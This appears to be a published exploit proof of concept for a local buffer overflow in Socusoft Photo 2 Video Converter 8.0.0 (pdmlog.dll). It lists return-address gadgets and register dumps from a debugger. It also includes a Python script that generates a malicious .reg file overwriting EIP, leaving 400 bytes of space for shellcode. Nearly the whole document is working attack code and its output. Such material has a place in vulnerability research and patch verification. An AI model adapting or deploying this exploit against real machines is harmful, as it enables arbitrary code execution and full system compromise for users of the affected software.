Socusoft Photo 2 Video Converter 8.0.0 - Local Buffer Overflow

# Exploit Title: Socusoft Photo 2 Video Converter v8.0.0 Local Buffer Overflow (Free and Professional variants) 
# Date: 01/12/2017
# Exploit Author: Jason Magic (ret2eax)
# Vendor Homepage: www.socusoft.com
# Version: 8.0.0
# Tested on: Windows Server 2008 R2

# Socusoft's Photo 2 Video Converter v8.0.0 (Free and Professional variants) 
# contains a local buffer overflow condition in the pdmlog.dll library. 
# Exploitation can result in register rewrites to control program execution 
# flow, therefore, resulting in the ability to execute arbitrary shellcode leading 
# to complete system compromise.

# Import generated .reg prior to restarting the executable within a debugger

#  The following PUSH ESP, RETN instruction sequence addresses are suitable to 
#  redirect program execution:
	
#  DVDPhotoData.dll:

#	0x10002352 push esp; ret
#	0x10013945 push esp; retn 0x0004
#	0x1004cb83 push esp; retn 0x0008
#	0x1004cbb8 push esp; retn 0x0008
#	0x1004cc11 push esp; retn 0x0008

# BEGIN EXPLOIT POC

#!/usr/bin/python
	
# REGISTERS (POC)
	
# EAX 42424242
# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
# EDX 00020000 pdmlog.00020000
# EBX 00020000 pdmlog.00020000
# ESP 035BFB90
# EBP 035BFBAC
# ESI 00000002
# EDI 00000000
# EIP 42424242

# EAX 10013945 DVDPhoto.10013945
# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
# EDX 00020000 pdmlog.00020000
# EBX 00020000 pdmlog.00020000
# ESP 03A0FB90
# EBP 03A0FBAC
# ESI 00000002
# EDI 00000000
# EIP 10013945 DVDPhoto.10013945 <- EIP Overwrite '\x45\x39\x01\x10' 

# outfile
file = "proof-of-concept.reg"

# register re-write
padding = "\x41" * 548
eipOffset = "\x45\x39\x01\x10" 	# PUSH ESP (0x10013945)
stackRewrite = "\x43" * 400 	# Shellcode Space

# generate exploit file containing above payload instructing EIP overwrite

poc = "Windows Registry Editor Version 5.00\n\n"
poc = poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
poc = poc + "\"TempFolder\"=\"" + padding + eipOffset + stackRewrite + "\""
 
try:
	print "[*] Generating exploit contents...\n";
	print "[*] Creating payload file...\n";
	writeFile = open (file, "w")
	writeFile.write( poc )
	writeFile.close()
	print "[*] Success!";
except:
	print "[!] ERROR!";

#EOF